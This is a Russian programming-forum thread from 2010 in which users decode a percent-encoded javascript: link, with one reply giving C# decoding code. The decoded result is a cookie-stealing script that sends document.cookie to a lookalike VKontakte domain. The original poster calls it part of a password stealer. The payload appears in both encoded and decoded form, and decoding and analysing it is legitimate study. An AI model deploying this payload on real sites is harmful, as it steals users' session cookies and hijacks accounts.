Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Клуб программистов > Свободное общение
Регистрация

Восстановить пароль

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 21.07.2010, 12:28   #1
ROD
Linux C++ Qt ARM
Старожил
 
Аватар для ROD
 
Регистрация: 30.11.2008
Сообщений: 3,030
По умолчанию Перивести ссылку к читаемому виду

Есть ссылка
Код:
javascript:document.write(unescape("%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%76%6B%30%6E%74%61%74%6B%65%2E%72%75%2F%69%2E%70%68%70%3F%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E"));
Как ее привести к читаемому виду?
Дилетант широкого профиля.

"Слова ничего не стоят - покажите мне код!" © Линус Торвальдс
ROD вне форума Ответить с цитированием
Старый 21.07.2010, 12:55   #2
mrChester
Я
Форумчанин
 
Аватар для mrChester
 
Регистрация: 24.04.2010
Сообщений: 693
По умолчанию

Покопался в гугле, пришел к выводу, что никак (вернее не просто). Для того, чтобы раскодировать данный текст требуется знать с помощью какого регулярного выражения его закодировали.
Добавлено.
<script>document.location='http://vk0ntatke.ru/i.php?'+document.cookie;</script>
Получилось с помощью этого сайта
Все персонажи вымышлены, все совпадения случайны.
Если жизнь игра, тогда я её разработчик ©.

Последний раз редактировалось mrChester; 21.07.2010 в 13:02.
mrChester вне форума Ответить с цитированием
Старый 21.07.2010, 13:02   #3
zumm
БохЪ
Форумчанин
 
Аватар для zumm
 
Регистрация: 30.09.2009
Сообщений: 724
По умолчанию

http://vk0ntatke.ru/i.php?

Вот тебе и читаемый вид
В планах порабощение вселенной...
zumm вне форума Ответить с цитированием
Старый 21.07.2010, 13:06   #4
pu4koff
Старожил
 
Аватар для pu4koff
 
Регистрация: 22.05.2007
Сообщений: 9,091
По умолчанию

Это коды символов записаны в формате "%КС", где КС - код символа в 16-ричной системе.
%3C - <
%73 - s
%63 - c
%72 - r
...
Обычное преобразование кириллицы в вебе. Хотя бы поиск в яндексе вбейте и посмотрите на получившуюся ссылку.
pu4koff вне форума Ответить с цитированием
Старый 21.07.2010, 13:11   #5
kakawkin
Форумчанин
 
Регистрация: 21.09.2009
Сообщений: 431
По умолчанию

ага ? а какой метод кодирования это ???
ваш %3C%73%63%72%69%70%74 все равно что #2154#2698#4521#1458 и т.д.
используется какойто метод шифровки простых символов - ищите просто по запросу:"Шифрирование javascript" и пробуйте все - найдете нужное
kakawkin вне форума Ответить с цитированием
Старый 21.07.2010, 13:52   #6
pu4koff
Старожил
 
Аватар для pu4koff
 
Регистрация: 22.05.2007
Сообщений: 9,091
По умолчанию

Код символа < в ASCII кодировке 60 или в 16-ричной системе. Отсюда получаем %3С. s соответственно преобразуется в %73, т.к. её код 73, и т.д. и т.п.
pu4koff вне форума Ответить с цитированием
Старый 22.07.2010, 10:40   #7
ROD
Linux C++ Qt ARM
Старожил
 
Аватар для ROD
 
Регистрация: 30.11.2008
Сообщений: 3,030
По умолчанию

Цитата:
Сообщение от zumm Посмотреть сообщение
http://vk0ntatke.ru/i.php?

Вот тебе и читаемый вид
Спасибо, я и так знаю, что оно туда вело (оно, к стати, не просто туда вело, а еще туда куки передавало, это фрагмент угонялки пасвордов от вконтакта)

mrChester, спасибо. Теперь все читабельно, буду изучать.
Дилетант широкого профиля.

"Слова ничего не стоят - покажите мне код!" © Линус Торвальдс

Последний раз редактировалось ROD; 22.07.2010 в 10:46.
ROD вне форума Ответить с цитированием
Старый 22.07.2010, 13:23   #8
m0nax
Форумчанин
 
Аватар для m0nax
 
Регистрация: 25.09.2009
Сообщений: 525
По умолчанию

на C# код для перевода в читабельный вид выглядит примерно так
Код:
            string str = "%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%76%6B%30%6E%74%61%74%6B%65%2E%72%75%2F%69%2E%70%68%70%3F%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E";
            string[] nums = str.Split(new char[] { '%' }, StringSplitOptions.RemoveEmptyEntries);

            string result = "";

            for (int i = 0; i < nums.Length; ++i)            
                result += char.ConvertFromUtf32(Convert.ToInt32(nums[i], 16));
            

            Console.WriteLine(result);
и вывод как раз
Код:
<script>document.location='http://vk0ntatke.ru/i.php?'+document.cookie;</script>
m0nax вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Простая с виду задача, но.. RomT24 Паскаль, Turbo Pascal, PascalABC.NET 1 11.05.2009 23:55
Как привести к виду для счета? Диагностик Microsoft Office Excel 11 10.04.2009 14:57
Приведение задачи к каноническому виду feniks65 Паскаль, Turbo Pascal, PascalABC.NET 2 26.12.2008 22:53
Как привести числа к другому виду Людмилка Microsoft Office Excel 1 18.11.2008 10:19
ЗАДАЧИ НА DELPHI С ВИДУ ПРОСТЫЕ Алексей_10_11 Помощь студентам 2 12.11.2007 17:50